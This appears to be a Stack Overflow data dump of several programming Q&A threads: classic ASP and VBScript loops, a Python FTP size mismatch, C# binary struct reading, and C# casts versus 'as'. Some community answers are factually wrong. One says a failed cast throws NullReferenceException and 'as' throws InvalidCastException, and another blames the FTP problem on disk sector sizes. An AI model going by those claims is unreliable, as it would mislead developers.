As long as the two databases are on the same physical server (assuming MSSQL) and the username/password being used in the connection string has rights to both DBs, then you should be able to perform a join across the two databases. Example: ``` select p.Date, p.Amount, d.SoftwareName, d.DownloadLink from PurchaseDB.dbo.Purchases as p join ProductDB.dbo.Products as d on d.sku = p.sku where p.UserID = 12345 ```
2,300
<p>I want to be able to do:</p> <pre><code>For Each thing In things End For </code></pre> <p>CLASSIC ASP - NOT .NET!</p>
[ { "answer_id": 2312, "author": "Brett Veenstra", "author_id": 307, "author_profile": "https://Stackoverflow.com/users/307", "pm_score": 3, "selected": true, "text": "<p>Whatever your [things] are need to be written outside of VBScript.</p>\n\n<p>In VB6, <a href=\"http://www.vb-helper.com/howto_custom_collection_with_for_each.html\" rel=\"nofollow noreferrer\">you can write a Custom Collection class</a>, then you'll need to compile to an ActiveX DLL and register it on your webserver to access it.</p>\n" }, { "answer_id": 7725, "author": "svandragt", "author_id": 997, "author_profile": "https://Stackoverflow.com/users/997", "pm_score": 4, "selected": false, "text": "<p>Something like this?</p>\n<pre><code>dim cars(2),x\ncars(0)=&quot;Volvo&quot;\ncars(1)=&quot;Saab&quot;\ncars(2)=&quot;BMW&quot;\n\nFor Each x in cars\n response.write(x &amp; &quot;&lt;br /&gt;&quot;)\nNext\n</code></pre>\n<p>See <a href=\"http://web.archive.org/web/20140305020029/http://www.w3schools.com/vbscript/vbscript_looping.asp\" rel=\"nofollow noreferrer\">www.w3schools.com</a>.</p>\n<p>If you want to associate keys and values <a href=\"https://web.archive.org/web/20210619173138/https://www.4guysfromrolla.com/webtech/102898-1.shtml\" rel=\"nofollow noreferrer\">use a dictionary object</a> instead:</p>\n<pre><code>Dim objDictionary\nSet objDictionary = CreateObject(&quot;Scripting.Dictionary&quot;)\nobjDictionary.Add &quot;Name&quot;, &quot;Scott&quot;\nobjDictionary.Add &quot;Age&quot;, &quot;20&quot;\nif objDictionary.Exists(&quot;Name&quot;) then\n ' Do something\nelse\n ' Do something else \nend if\n</code></pre>\n" }, { "answer_id": 75842, "author": "Skyhigh", "author_id": 13387, "author_profile": "https://Stackoverflow.com/users/13387", "pm_score": 2, "selected": false, "text": "<p>The closest you are going to get is using a Dictionary (as mentioned by Pacifika)</p>\n\n<pre><code>Dim objDictionary\nSet objDictionary = CreateObject(\"Scripting.Dictionary\")\nobjDictionary.CompareMode = vbTextCompare 'makes the keys case insensitive'\nobjDictionary.Add \"Name\", \"Scott\"\nobjDictionary.Add \"Age\", \"20\"\n</code></pre>\n\n<p>But I loop through my dictionaries like a collection</p>\n\n<pre><code>For Each Entry In objDictionary\n Response.write objDictionary(Entry) &amp; \"&lt;br /&gt;\"\nNext\n</code></pre>\n\n<p>You can loop through the entire dictionary this way writing out the values which would look like this:</p>\n\n<pre><code>Scott\n20\n</code></pre>\n\n<p>You can also do this</p>\n\n<pre><code>For Each Entry In objDictionary\n Response.write Entry &amp; \": \" &amp; objDictionary(Entry) &amp; \"&lt;br /&gt;\"\nNext\n</code></pre>\n\n<p>Which would produce</p>\n\n<pre><code> Name: Scott\n Age: 20\n</code></pre>\n" }, { "answer_id": 119352, "author": "Aravind", "author_id": 19536, "author_profile": "https://Stackoverflow.com/users/19536", "pm_score": 0, "selected": false, "text": "<p>As Brett said, its better to use a vb component to create collections. Dictionary objects are not very commonly used in ASP unless for specific need based applications. </p>\n" }, { "answer_id": 312122, "author": "Mike Henry", "author_id": 14934, "author_profile": "https://Stackoverflow.com/users/14934", "pm_score": 1, "selected": false, "text": "<p>One approach I've used before is to use a property of the collection that returns an array, which can be iterated over.</p>\n\n<pre><code>Class MyCollection\n Public Property Get Items\n Items = ReturnItemsAsAnArray()\n End Property\n ...\nEnd Class\n</code></pre>\n\n<p>Iterate like:</p>\n\n<pre><code>Set things = New MyCollection\nFor Each thing in things.Items\n ...\nNext\n</code></pre>\n" }, { "answer_id": 23778188, "author": "Pedro Ferreira", "author_id": 2816279, "author_profile": "https://Stackoverflow.com/users/2816279", "pm_score": 0, "selected": false, "text": "<p>Be VERY carefully on using VB Script Dictionary Object!<br />\nJust discover this &quot;<em><strong>autovivication</strong></em>&quot; thing, native on this object: http://en.wikipedia.org/wiki/Autovivification</p>\n<p>So, when you need to compare values, NEVER use a boolen comparison like:<br />\n<code>If objDic.Item(&quot;varName&quot;) &lt;&gt; &quot;&quot; Then</code>...<br />\nThis will <strong>automatically</strong> add the key &quot;<code>varName</code>&quot; to the dictionary (if it doesn't exist, with an empty value) , in order to carry on evaluating the boolean expression.</p>\n<p>If needed, use instead <code>If objDic.Exists(&quot;varName&quot;)</code>.</p>\n<p>Just spend a few days knocking walls, with this Microsoft &quot;<em>feature</em>&quot;...<br />\n<a href=\"http://social.technet.microsoft.com/Forums/scriptcenter/en-US/906ecc76-f0c2-4823-be2a-fb5eaf8179fd/vbscript-dictionary-object-creating-a-key-which-never-existed-but-present-in-another-object\" rel=\"nofollow noreferrer\">vbscript-dictionary-object-creating-a-key-which-never-existed-but-present-in-another-object</a></p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2300", "https://Stackoverflow.com", "https://Stackoverflow.com/users/193/" ]
I want to be able to do: ``` For Each thing In things End For ``` CLASSIC ASP - NOT .NET!
Whatever your [things] are need to be written outside of VBScript. In VB6, [you can write a Custom Collection class](http://www.vb-helper.com/howto_custom_collection_with_for_each.html), then you'll need to compile to an ActiveX DLL and register it on your webserver to access it.
2,311
<p>I have created a PHP-script to update a web server that is live inside a local directory. I'm migrating the script into Python. It works fine for the most part, but after a PUT command, the size of the file appears to change. Thus, the size of the file is different from that of the file on the server. </p> <p>Once I download again the file from the FTP server, the only difference is the CR/LF mark. This annoys me because the same script is comparing the size of the files to update. Also, in case it means anything, the script works perfectly in PHP vía ftp_put.</p> <pre><code>from ftplib import FTP ftpserver = "myserver" ftpuser = "myuser" ftppass = "mypwd" locfile = "g:/test/style.css" ftpfile = "/temp/style.css" try: ftp = FTP(ftpserver, ftpuser, ftppass) except: exit ("Cannot connect") f = open (locfile, "r") try: ftp.delete (ftpfile) except: pass # ftp.sendcmd ("TYPE I") # ftp.storlines("STOR %s" % ftpfile, f) ftp.storbinary("STOR %s" % ftpfile, f) f.close() ftp.dir (ftpfile) ftp.quit() </code></pre> <p>Any suggestions?</p>
[ { "answer_id": 2316, "author": "David Sykes", "author_id": 259, "author_profile": "https://Stackoverflow.com/users/259", "pm_score": 5, "selected": true, "text": "<p>Do you need to open the locfile in binary using <code>rb</code>?</p>\n\n<pre><code>f = open (locfile, \"rb\")\n</code></pre>\n" }, { "answer_id": 2317, "author": "Nick Berardi", "author_id": 17, "author_profile": "https://Stackoverflow.com/users/17", "pm_score": 2, "selected": false, "text": "<p>Well if you go under the properties of your file in Windows or a *nix environment, you will notice two sizes. One is the sector size, and one is the actual size. The sector size is the number of sectors in bytes that are used up on your hard disk. That is because two files cannot be in the same sector with most modern file systems, so if your file fills up half of the sector the whole sector is marked as filled.</p>\n\n<p>So you might be comparing the sector file size to the actual file size on the FTP server or vice versa.</p>\n" }, { "answer_id": 2510, "author": "sparkes", "author_id": 269, "author_profile": "https://Stackoverflow.com/users/269", "pm_score": 0, "selected": false, "text": "<p>Small files take up a whole node on the file system whatever the size is.</p>\n<p>My host tends to report all small files as 4KB in ftp but gives an accurate size in a shell so it might be a 'feature' common to ftp clients.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2311", "https://Stackoverflow.com", "https://Stackoverflow.com/users/394/" ]
I have created a PHP-script to update a web server that is live inside a local directory. I'm migrating the script into Python. It works fine for the most part, but after a PUT command, the size of the file appears to change. Thus, the size of the file is different from that of the file on the server. Once I download again the file from the FTP server, the only difference is the CR/LF mark. This annoys me because the same script is comparing the size of the files to update. Also, in case it means anything, the script works perfectly in PHP vía ftp\_put. ``` from ftplib import FTP ftpserver = "myserver" ftpuser = "myuser" ftppass = "mypwd" locfile = "g:/test/style.css" ftpfile = "/temp/style.css" try: ftp = FTP(ftpserver, ftpuser, ftppass) except: exit ("Cannot connect") f = open (locfile, "r") try: ftp.delete (ftpfile) except: pass # ftp.sendcmd ("TYPE I") # ftp.storlines("STOR %s" % ftpfile, f) ftp.storbinary("STOR %s" % ftpfile, f) f.close() ftp.dir (ftpfile) ftp.quit() ``` Any suggestions?
Do you need to open the locfile in binary using `rb`? ``` f = open (locfile, "rb") ```
2,348
<p>In the code below</p> <pre><code>For i = LBound(arr) To UBound(arr) </code></pre> <p>What is the point in asking using <code>LBound</code>? Surely that is always 0.</p>
[ { "answer_id": 2378, "author": "huseyint", "author_id": 39, "author_profile": "https://Stackoverflow.com/users/39", "pm_score": 2, "selected": false, "text": "<p>Probably it comes from VB6. Because with <a href=\"http://msdn.microsoft.com/en-us/library/aa266179(VS.60).aspx\" rel=\"nofollow noreferrer\">Option Base</a> statement in VB6, you can alter the lower bound of arrays like this:</p>\n\n<pre><code>Option Base 1\n</code></pre>\n\n<p>Also in VB6, you can alter the lower bound of a specific array like this:</p>\n\n<pre><code>Dim myArray(4 To 42) As String\n</code></pre>\n" }, { "answer_id": 2393, "author": "Chris Farmer", "author_id": 404, "author_profile": "https://Stackoverflow.com/users/404", "pm_score": 7, "selected": true, "text": "<p>Why not use <code>For Each</code>? That way you don't need to care what the <code>LBound</code> and <code>UBound</code> are.</p>\n\n<pre><code>Dim x, y, z\nx = Array(1, 2, 3)\n\nFor Each y In x\n z = DoSomethingWith(y)\nNext\n</code></pre>\n" }, { "answer_id": 8889, "author": "James Marshall", "author_id": 1025, "author_profile": "https://Stackoverflow.com/users/1025", "pm_score": 1, "selected": false, "text": "<p>I've always used For Each loop.</p>\n" }, { "answer_id": 121702, "author": "xpda", "author_id": 14149, "author_profile": "https://Stackoverflow.com/users/14149", "pm_score": 4, "selected": false, "text": "<p>There is a good reason <strong>NOT TO USE <code>For i = LBound(arr) To UBound(arr)</code></strong></p>\n<p><code>dim arr(10)</code> allocates eleven members of the array, 0 through 10 (assuming the VB6 default Option Base).</p>\n<p>Many VB6 programmers assume the array is one-based, and never use the allocated <code>arr(0)</code>. We can remove a potential source of bug by using <code>For i = 1 To UBound(arr)</code> or <code>For i = 0 To UBound(arr)</code>, because then it is clear whether <code>arr(0)</code> is being used.</p>\n<p><code>For each</code> makes a copy of each array element, rather than a pointer.</p>\n<p>This has two problems.</p>\n<ol>\n<li><p>When we try to assign a value to an array element, it doesn't reflect on original. This code assigns a value of 47 to the variable <code>i</code>, but does not affect the elements of <code>arr</code>.</p>\n <pre>arr = Array(3,4,8)\nfor each i in arr\n i = 47\nnext i\nResponse.Write arr(0) '- returns 3, not 47</pre>\n</li>\n<li><p>We don't know the index of an array element in <code>for each</code>, and we are not guaranteed the sequence of elements (although it seems to be in order).</p>\n</li>\n</ol>\n" }, { "answer_id": 128898, "author": "AnthonyWJones", "author_id": 17516, "author_profile": "https://Stackoverflow.com/users/17516", "pm_score": 2, "selected": false, "text": "<p><code>LBound</code> may not always be 0. </p>\n\n<p>Whilst it is not possible to create an array that has anything other than a 0 Lower bound in VBScript, it is still possible to retrieve an array of variants from a COM component which may have specified a different <code>LBound</code>.</p>\n\n<p>That said I've never come across one that has done anything like that.</p>\n" }, { "answer_id": 56822046, "author": "Javi", "author_id": 8807803, "author_profile": "https://Stackoverflow.com/users/8807803", "pm_score": 0, "selected": false, "text": "<p>This is my approach:</p>\n\n<pre><code>dim arrFormaA(15)\narrFormaA( 0 ) = \"formaA_01.txt\"\narrFormaA( 1 ) = \"formaA_02.txt\"\narrFormaA( 2 ) = \"formaA_03.txt\"\narrFormaA( 3 ) = \"formaA_04.txt\"\narrFormaA( 4 ) = \"formaA_05.txt\"\narrFormaA( 5 ) = \"formaA_06.txt\"\narrFormaA( 6 ) = \"formaA_07.txt\"\narrFormaA( 7 ) = \"formaA_08.txt\"\narrFormaA( 8 ) = \"formaA_09.txt\"\narrFormaA( 9 ) = \"formaA_10.txt\"\narrFormaA( 10 ) = \"formaA_11.txt\"\narrFormaA( 11 ) = \"formaA_12.txt\"\narrFormaA( 12 ) = \"formaA_13.txt\"\narrFormaA( 13 ) = \"formaA_14.txt\"\narrFormaA( 14 ) = \"formaA_15.txt\"\n\nWscript.echo(UBound(arrFormaA))\n''displays \"15\"\n\nFor i = 0 To UBound(arrFormaA)-1\n Wscript.echo(arrFormaA(i))\nNext\n</code></pre>\n\n<p>Hope it helps.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2348", "https://Stackoverflow.com", "https://Stackoverflow.com/users/193/" ]
In the code below ``` For i = LBound(arr) To UBound(arr) ``` What is the point in asking using `LBound`? Surely that is always 0.
Why not use `For Each`? That way you don't need to care what the `LBound` and `UBound` are. ``` Dim x, y, z x = Array(1, 2, 3) For Each y In x z = DoSomethingWith(y) Next ```
2,384
<p>I'm trying to read binary data using C#. I have all the information about the layout of the data in the files I want to read. I'm able to read the data "chunk by chunk", i.e. getting the first 40 bytes of data converting it to a string, get the next 40 bytes.</p> <p>Since there are at least three slightly different version of the data, I would like to read the data directly into a struct. It just feels so much more right than by reading it "line by line".</p> <p><strong>I have tried the following approach but to no avail:</strong></p> <pre><code>StructType aStruct; int count = Marshal.SizeOf(typeof(StructType)); byte[] readBuffer = new byte[count]; BinaryReader reader = new BinaryReader(stream); readBuffer = reader.ReadBytes(count); GCHandle handle = GCHandle.Alloc(readBuffer, GCHandleType.Pinned); aStruct = (StructType) Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(StructType)); handle.Free(); </code></pre> <p>The stream is an opened FileStream from which I have began to read from. I get an <code>AccessViolationExceptio</code>n when using <code>Marshal.PtrToStructure</code>.</p> <p>The stream contains more information than I'm trying to read since I'm not interested in data at the end of the file.</p> <p><strong>The struct is defined like:</strong></p> <pre><code>[StructLayout(LayoutKind.Explicit)] struct StructType { [FieldOffset(0)] public string FileDate; [FieldOffset(8)] public string FileTime; [FieldOffset(16)] public int Id1; [FieldOffset(20)] public string Id2; } </code></pre> <p>The examples code is changed from original to make this question shorter.</p> <p>How would I read binary data from a file into a struct?</p>
[ { "answer_id": 2436, "author": "urini", "author_id": 373, "author_profile": "https://Stackoverflow.com/users/373", "pm_score": 0, "selected": false, "text": "<p>Try this:</p>\n\n<pre><code>using (FileStream stream = new FileStream(fileName, FileMode.Open))\n{\n BinaryFormatter formatter = new BinaryFormatter();\n StructType aStruct = (StructType)formatter.Deserialize(filestream);\n}\n</code></pre>\n" }, { "answer_id": 2474, "author": "lubos hasko", "author_id": 275, "author_profile": "https://Stackoverflow.com/users/275", "pm_score": 2, "selected": false, "text": "<p>I don't see any problem with your code.</p>\n\n<p>just out of my head, what if you try to do it manually? does it work?</p>\n\n<pre><code>BinaryReader reader = new BinaryReader(stream);\nStructType o = new StructType();\no.FileDate = Encoding.ASCII.GetString(reader.ReadBytes(8));\no.FileTime = Encoding.ASCII.GetString(reader.ReadBytes(8));\n...\n...\n...\n</code></pre>\n\n<p>also try</p>\n\n<pre><code>StructType o = new StructType();\nbyte[] buffer = new byte[Marshal.SizeOf(typeof(StructType))];\nGCHandle handle = GCHandle.Alloc(buffer, GCHandleType.Pinned);\nMarshal.StructureToPtr(o, handle.AddrOfPinnedObject(), false);\nhandle.Free();\n</code></pre>\n\n<p>then use <strong>buffer[]</strong> in your BinaryReader instead of reading data from FileStream to see whether you still get AccessViolation exception.</p>\n\n<blockquote>\n <p>I had no luck using the\n BinaryFormatter, I guess I have to\n have a complete struct that matches\n the content of the file exactly.</p>\n</blockquote>\n\n<p>That makes sense, BinaryFormatter has its own data format, completely incompatible with yours.</p>\n" }, { "answer_id": 3200, "author": "Robert Höglund", "author_id": 143, "author_profile": "https://Stackoverflow.com/users/143", "pm_score": 2, "selected": false, "text": "<p>I had no luck using the BinaryFormatter, I guess I have to have a complete struct that matches the content of the file exactly. I realised that in the end I wasn't interested in very much of the file content anyway so I went with the solution of reading part of stream into a bytebuffer and then converting it using</p>\n\n<pre><code>Encoding.ASCII.GetString()\n</code></pre>\n\n<p>for strings and</p>\n\n<pre><code>BitConverter.ToInt32()\n</code></pre>\n\n<p>for the integers.</p>\n\n<p>I will need to be able to parse more of the file later on but for this version I got away with just a couple of lines of code.</p>\n" }, { "answer_id": 20803, "author": "Ishmaeel", "author_id": 227, "author_profile": "https://Stackoverflow.com/users/227", "pm_score": 5, "selected": false, "text": "<p>The problem is the <strong>string</strong>s in your struct. I found that marshaling types like byte/short/int is not a problem; but when you need to marshal into a complex type such as a string, you need your struct to explicitly mimic an unmanaged type. You can do this with the MarshalAs attrib.</p>\n\n<p>For your example, the following should work:</p>\n\n<pre><code>[StructLayout(LayoutKind.Explicit)]\nstruct StructType\n{\n [FieldOffset(0)]\n [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]\n public string FileDate;\n\n [FieldOffset(8)]\n [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]\n public string FileTime;\n\n [FieldOffset(16)]\n public int Id1;\n\n [FieldOffset(20)]\n [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 66)] //Or however long Id2 is.\n public string Id2;\n}\n</code></pre>\n" }, { "answer_id": 124089, "author": "Ronnie", "author_id": 193, "author_profile": "https://Stackoverflow.com/users/193", "pm_score": 0, "selected": false, "text": "<p>Reading straight into structs is evil - many a C program has fallen over because of different byte orderings, different compiler implementations of fields, packing, word size.......</p>\n\n<p>You are best of serialising and deserialising byte by byte. Use the build in stuff if you want or just get used to BinaryReader.</p>\n" }, { "answer_id": 2777781, "author": "nevelis", "author_id": 333988, "author_profile": "https://Stackoverflow.com/users/333988", "pm_score": 3, "selected": false, "text": "<p>As Ronnie said, I'd use BinaryReader and read each field individually. I can't find the link to the article with this info, but it's been observed that using BinaryReader to read each individual field can be faster than Marshal.PtrToStruct, if the struct contains less than 30-40 or so fields. I'll post the link to the article when I find it.</p>\n\n<p>The article's link is at: <a href=\"http://www.codeproject.com/Articles/10750/Fast-Binary-File-Reading-with-C\" rel=\"nofollow noreferrer\">http://www.codeproject.com/Articles/10750/Fast-Binary-File-Reading-with-C</a></p>\n\n<p>When marshaling an array of structs, PtrToStruct gains the upper-hand more quickly, because you can think of the field count as fields * array length.</p>\n" }, { "answer_id": 4074557, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": false, "text": "<p>Here is what I am using.<br>This worked successfully for me for reading Portable Executable Format.<br>It's a generic function, so <strong><code>T</code></strong> is your <code>struct</code> type.</p>\n\n<pre><code>public static T ByteToType&lt;T&gt;(BinaryReader reader)\n{\n byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));\n\n GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);\n T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));\n handle.Free();\n\n return theStructure;\n}\n</code></pre>\n" }, { "answer_id": 71456824, "author": "ssamko", "author_id": 6158341, "author_profile": "https://Stackoverflow.com/users/6158341", "pm_score": 0, "selected": false, "text": "<p>I had structure:</p>\n<pre><code>[StructLayout(LayoutKind.Explicit, Size = 21)]\n public struct RecordStruct\n {\n [FieldOffset(0)]\n public double Var1;\n\n [FieldOffset(8)]\n public byte var2\n\n [FieldOffset(9)]\n [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 12)]\n public string String1;\n }\n}\n</code></pre>\n<p>and I received <strong>&quot;incorrectly aligned or overlapped by non-object&quot;</strong>.\nBased on that I found:\n<a href=\"https://social.msdn.microsoft.com/Forums/vstudio/en-US/2f9ffce5-4c64-4ea7-a994-06b372b28c39/strange-issue-with-layoutkindexplicit?forum=clr\" rel=\"nofollow noreferrer\">https://social.msdn.microsoft.com/Forums/vstudio/en-US/2f9ffce5-4c64-4ea7-a994-06b372b28c39/strange-issue-with-layoutkindexplicit?forum=clr</a></p>\n<blockquote>\n<p>OK. I think I understand what's going on here. It seems like the\nproblem is related to the fact that the array type (which is an object\ntype) must be stored at a 4-byte boundary in memory. However, what\nyou're really trying to do is serialize the 6 bytes separately.</p>\n<p>I think the problem is the mix between FieldOffset and serialization\nrules. I'm thinking that structlayout.sequential may work for you,\nsince it doesn't actually modify the in-memory representation of the\nstructure. I think FieldOffset is actually modifying the in-memory\nlayout of the type. This causes problems because the .NET framework\nrequires object references to be aligned on appropriate boundaries (it\nseems).</p>\n</blockquote>\n<p>So my struct was defined as explicit with:</p>\n<pre><code>[StructLayout(LayoutKind.Explicit, Size = 21)]\n</code></pre>\n<p>and thus my fields had specified</p>\n<pre><code>[FieldOffset(&lt;offset_number&gt;)]\n</code></pre>\n<p>but when you change your struct to Sequentional, you can get rid of those offsets and the error will disappear. Something like:</p>\n<pre><code>[StructLayout(LayoutKind.Sequential, Size = 21)]\n public struct RecordStruct\n {\n public double Var1;\n\n public byte var2;\n\n [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 12)]\n public string String1;\n }\n}\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2384", "https://Stackoverflow.com", "https://Stackoverflow.com/users/143/" ]
I'm trying to read binary data using C#. I have all the information about the layout of the data in the files I want to read. I'm able to read the data "chunk by chunk", i.e. getting the first 40 bytes of data converting it to a string, get the next 40 bytes. Since there are at least three slightly different version of the data, I would like to read the data directly into a struct. It just feels so much more right than by reading it "line by line". **I have tried the following approach but to no avail:** ``` StructType aStruct; int count = Marshal.SizeOf(typeof(StructType)); byte[] readBuffer = new byte[count]; BinaryReader reader = new BinaryReader(stream); readBuffer = reader.ReadBytes(count); GCHandle handle = GCHandle.Alloc(readBuffer, GCHandleType.Pinned); aStruct = (StructType) Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(StructType)); handle.Free(); ``` The stream is an opened FileStream from which I have began to read from. I get an `AccessViolationExceptio`n when using `Marshal.PtrToStructure`. The stream contains more information than I'm trying to read since I'm not interested in data at the end of the file. **The struct is defined like:** ``` [StructLayout(LayoutKind.Explicit)] struct StructType { [FieldOffset(0)] public string FileDate; [FieldOffset(8)] public string FileTime; [FieldOffset(16)] public int Id1; [FieldOffset(20)] public string Id2; } ``` The examples code is changed from original to make this question shorter. How would I read binary data from a file into a struct?
The problem is the **string**s in your struct. I found that marshaling types like byte/short/int is not a problem; but when you need to marshal into a complex type such as a string, you need your struct to explicitly mimic an unmanaged type. You can do this with the MarshalAs attrib. For your example, the following should work: ``` [StructLayout(LayoutKind.Explicit)] struct StructType { [FieldOffset(0)] [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] public string FileDate; [FieldOffset(8)] [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] public string FileTime; [FieldOffset(16)] public int Id1; [FieldOffset(20)] [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 66)] //Or however long Id2 is. public string Id2; } ```
2,483
<p>What is actually the difference between these two casts?</p> <pre><code>SomeClass sc = (SomeClass)SomeObject; SomeClass sc2 = SomeObject as SomeClass; </code></pre> <p>Normally, shouldn't they both be explicit casts to the specified type?</p>
[ { "answer_id": 2487, "author": "Rytmis", "author_id": 266, "author_profile": "https://Stackoverflow.com/users/266", "pm_score": 7, "selected": true, "text": "<p>The former will throw an exception if the source type can't be cast to the target type. The latter will result in sc2 being a null reference, but no exception.</p>\n\n<p>[Edit]</p>\n\n<p>My original answer is certainly the most pronounced difference, but as Eric Lippert <a href=\"http://blogs.msdn.com/ericlippert/archive/2009/10/08/what-s-the-difference-between-as-and-cast-operators.aspx\" rel=\"noreferrer\">points out</a>, it's not the only one. Other differences include:</p>\n\n<ul>\n<li>You can't use the 'as' operator to cast to a type that doesn't accept 'null' as a value</li>\n<li>You can't use 'as' to <em>convert</em> things, like numbers to a different representation (float to int, for example).</li>\n</ul>\n\n<p>And finally, using 'as' vs. the cast operator, you're also saying \"I'm not sure if this will succeed.\" </p>\n" }, { "answer_id": 2489, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>The parenthetical cast throws an exception if the cast attempt fails. The \"as\" cast returns null if the cast attempt fails.</p>\n" }, { "answer_id": 2497, "author": "Steve Willard", "author_id": 402, "author_profile": "https://Stackoverflow.com/users/402", "pm_score": 1, "selected": false, "text": "<p>They'll throw different exceptions.</p>\n<p>() : NullReferenceException <br>\nas : InvalidCastException <br></p>\n<p>Which could help for debugging.</p>\n<p>The &quot;as&quot; keyword attempts to cast the object and if the cast fails, null is returned. The () cast operator will throw an exception immediately if the cast fails.</p>\n<p>Only use the C# &quot;as&quot; keyword where you are expecting the cast to fail in a non-exceptional case. If you are counting on a cast to succeed and unprepared to receive any object that would fail, you should use the () cast operator so that an appropriate and helpful exception is thrown.</p>\n<p>For code examples and a further explanation: <a href=\"http://blog.nerdbank.net/2008/06/when-not-to-use-c-keyword.html\" rel=\"nofollow noreferrer\">http://blog.nerdbank.net/2008/06/when-not-to-use-c-keyword.html</a></p>\n" }, { "answer_id": 2522, "author": "denny", "author_id": 27, "author_profile": "https://Stackoverflow.com/users/27", "pm_score": 5, "selected": false, "text": "<p>Also note that you can only use the as keyword with a reference type or a nullable type</p>\n\n<p>ie:</p>\n\n<pre><code>double d = 5.34;\nint i = d as int;\n</code></pre>\n\n<p>will not compile</p>\n\n<pre><code>double d = 5.34;\nint i = (int)d;\n</code></pre>\n\n<p>will compile.</p>\n" }, { "answer_id": 2614, "author": "Nick Berardi", "author_id": 17, "author_profile": "https://Stackoverflow.com/users/17", "pm_score": 2, "selected": false, "text": "<p>Here is a good way to remember the process that each of them follow that I use when trying to decide which is better for my circumstance.</p>\n\n<pre><code>DateTime i = (DateTime)value;\n// is like doing\nDateTime i = value is DateTime ? value as DateTime : throw new Exception(...);\n</code></pre>\n\n<p>and the next should be easy to guess what it does</p>\n\n<pre><code>DateTime i = value as DateTime;\n</code></pre>\n\n<p>in the first case if the value cannot be cast than an exception is thrown in the second case if the value cannot be cast, i is set to null. </p>\n\n<p>So in the first case a hard stop is made if the cast fails in the second cast a soft stop is made and you might encounter a NullReferenceException later on.</p>\n" }, { "answer_id": 5824, "author": "ICR", "author_id": 214, "author_profile": "https://Stackoverflow.com/users/214", "pm_score": 1, "selected": false, "text": "<p>It's like the difference between Parse and TryParse. You use TryParse when you expect it might fail, but when you have strong assurance it won't fail you use Parse.</p>\n" }, { "answer_id": 48238, "author": "Omer van Kloeten", "author_id": 4979, "author_profile": "https://Stackoverflow.com/users/4979", "pm_score": 2, "selected": false, "text": "<p>To expand on <a href=\"https://stackoverflow.com/questions/2483/casting-newtype-vs-object-as-newtype#2487\">Rytmis's comment</a>, you can't use the <em>as</em> keyword for structs (Value Types), as they have no null value.</p>\n" }, { "answer_id": 75949, "author": "Joe", "author_id": 13087, "author_profile": "https://Stackoverflow.com/users/13087", "pm_score": 4, "selected": false, "text": "<p>Typecasting using \"as\" is of course much faster when the cast fails, as it avoids the expense of throwing an exception.</p>\n\n<p>But it is not faster when the cast succeeds. The graph at <a href=\"http://www.codeproject.com/KB/cs/csharpcasts.aspx\" rel=\"noreferrer\">http://www.codeproject.com/KB/cs/csharpcasts.aspx</a> is misleading because it doesn't explain what it's measuring.</p>\n\n<p>The bottom line is:</p>\n\n<ul>\n<li><p>If you expect the cast to succeed (i.e. a failure would be exceptional), use a cast.</p></li>\n<li><p>If you don't know if it will succeed, use the \"as\" operator and test the result for null.</p></li>\n</ul>\n" }, { "answer_id": 77605, "author": "Adam Ruth", "author_id": 10262, "author_profile": "https://Stackoverflow.com/users/10262", "pm_score": 2, "selected": false, "text": "<p>For those of you with VB.NET experience, (type) is the same as DirectCast and \"as type\" is the same as TryCast.</p>\n" }, { "answer_id": 91669, "author": "Keith", "author_id": 905, "author_profile": "https://Stackoverflow.com/users/905", "pm_score": 2, "selected": false, "text": "<p>All of this applies to reference types, value types cannot use the <code>as</code> keyword as they cannot be null.</p>\n\n<pre><code>//if I know that SomeObject is an instance of SomeClass\nSomeClass sc = (SomeClass) someObject;\n\n\n//if SomeObject *might* be SomeClass\nSomeClass sc2 = someObject as SomeClass;\n</code></pre>\n\n<p>The cast syntax is quicker, but only when successful, it's much slower to fail.</p>\n\n<p>Best practice is to use <code>as</code> when you don't know the type:</p>\n\n<pre><code>//we need to know what someObject is\nSomeClass sc;\nSomeOtherClass soc;\n\n//use as to find the right type\nif( ( sc = someObject as SomeClass ) != null ) \n{\n //do something with sc\n}\nelse if ( ( soc = someObject as SomeOtherClass ) != null ) \n{\n //do something with soc\n}\n</code></pre>\n\n<p>However if you are absolutely sure that <code>someObject</code> is an instance of <code>SomeClass</code> then use cast.</p>\n\n<p>In .Net 2 or above generics mean that you very rarely need to have an un-typed instance of a reference class, so the latter is less often used.</p>\n" }, { "answer_id": 274026, "author": "Cristian Libardo", "author_id": 16526, "author_profile": "https://Stackoverflow.com/users/16526", "pm_score": 3, "selected": false, "text": "<p>A difference between the two approaches is that the the first ((SomeClass)obj) may cause a <a href=\"http://msdn.microsoft.com/en-us/library/yy580hbd(VS.80).aspx\" rel=\"noreferrer\">type converter</a> to be called.</p>\n" }, { "answer_id": 4041427, "author": "Andrei Rînea", "author_id": 1796, "author_profile": "https://Stackoverflow.com/users/1796", "pm_score": 3, "selected": false, "text": "<p>Well <strong>the 'as' operator \"helps\" you bury your problem way lower</strong> because when it is provided an incompatible instance it will return null, maybe you'll pass that to a method which will pass it to another and so on and finally you'll get a NullReferenceException which will make your debugging harder.</p>\n\n<p>Don't abuse it. The direct cast operator is better in 99% of the cases.</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2483", "https://Stackoverflow.com", "https://Stackoverflow.com/users/91/" ]
What is actually the difference between these two casts? ``` SomeClass sc = (SomeClass)SomeObject; SomeClass sc2 = SomeObject as SomeClass; ``` Normally, shouldn't they both be explicit casts to the specified type?
